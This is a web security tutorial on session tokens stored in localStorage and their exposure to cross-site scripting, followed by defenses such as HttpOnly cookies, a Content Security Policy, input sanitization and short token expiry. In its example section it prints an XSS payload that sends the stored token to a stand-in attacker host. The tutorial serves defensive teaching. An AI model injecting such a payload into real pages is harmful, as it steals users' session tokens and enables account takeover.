When session tokens (such as JWTs) are stored in localStorage, they become vulnerable to Cross-Site Scripting (XSS) attacks. This can lead to session hijacking, where an attacker steals the token and gains unauthorized access to the user’s account.
1. What is XSS and Why is localStorage
a Problem?
What is XSS (Cross-Site Scripting)?
XSS is a type of attack where an attacker injects malicious JavaScript into a web page, which is then executed in the user’s browser. This script can steal sensitive data, including session tokens stored in localStorage
.
Why is localStorage
Risky?
Unlike cookies with HttpOnly
flags, data stored in localStorage is accessible to JavaScript, meaning any malicious script running on the page can read it.
2. Example of XSS Stealing a Token from localStorage
Vulnerable Code
// Storing JWT in localStorage (Unsafe)
localStorage.setItem("token", "eyJhbGciOiJIUzI1NiIsInR...");
If an attacker injects malicious JavaScript, they can easily steal the token:
console.log(localStorage.getItem("token")); // Attacker can see the token in console
// Send the token to the attacker's server
fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"));
Example of an XSS Attack
Suppose a website has a search bar that does not properly escape user input. An attacker could inject:
<script>
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));
</script>
Whenever a user loads the page, their session token is sent to the attacker’s server, and the attacker can impersonate them.
3. How to Prevent This? Best Practices
1. Use HTTP-Only Cookies Instead of localStorage
Instead of storing the token in localStorage
, store it in an HTTP-only cookie, which JavaScript cannot access.
Server-side (Express.js example)
app.post("/login", (req, res) => {
const token = generateJWT(req.user);
res.cookie("session_token", token, {
httpOnly: true,
secure: true,
sameSite: "Strict"
}); // Secure cookie
res.json({ success: true });
});
Why is this safer?
HttpOnly
flag prevents JavaScript from accessing the cookie.
Secure
flag ensures the cookie is only sent over HTTPS.
SameSite=Strict
prevents CSRF attacks by blocking cross-site requests.
2. Implement Content Security Policy (CSP)
A Content Security Policy (CSP) restricts which scripts can execute, preventing XSS.
Example CSP Header (Nginx or Apache config):
Content-Security-Policy: default-src 'self'; script-src 'self';
This blocks inline <script>
tags, preventing attackers from injecting malicious JavaScript.
3. Use Input Validation and Output Encoding
Sanitize user input to prevent script injection.
In Express (Node.js):
const sanitizeHtml = require("sanitize-html");
app.post("/search", (req, res) => {
const sanitizedInput = sanitizeHtml(req.body.searchQuery);
res.send(`Search results for: ${sanitizedInput}`);
});
For React Applications: Avoid using dangerouslySetInnerHTML
unless you are sanitizing content.
4. Use a Web Application Firewall (WAF)
A WAF like Cloudflare, AWS WAF, or ModSecurity can block XSS attacks before they reach your application.
5. Regularly Rotate and Expire Tokens
If an attacker does steal a token, it should expire quickly.
JWT with Short Expiry (Example in Node.js):
const token = jwt.sign({ userId: user.id }, SECRET_KEY, { expiresIn: "15m" });
Refresh tokens safely stored in HttpOnly
cookies ensure the session can continue without storing tokens in localStorage
.
4. What If You Must Use localStorage
?
If switching to cookies is not possible, take additional security measures:
Encrypt the token before storing it.
Use CSP and input validation to minimize XSS risks.
Clear localStorage
on logout to prevent token reuse:
localStorage.removeItem("token");
5. Conclusion
Never store session tokens in localStorage
because they can be easily accessed by malicious scripts.
Safer Alternative: Use HttpOnly, Secure cookies to store authentication tokens.
Security Measures: Implement CSP, input validation, token expiration, and WAFs to protect against XSS and session hijacking.
By following these best practices, you can secure your application and protect user sessions from attackers.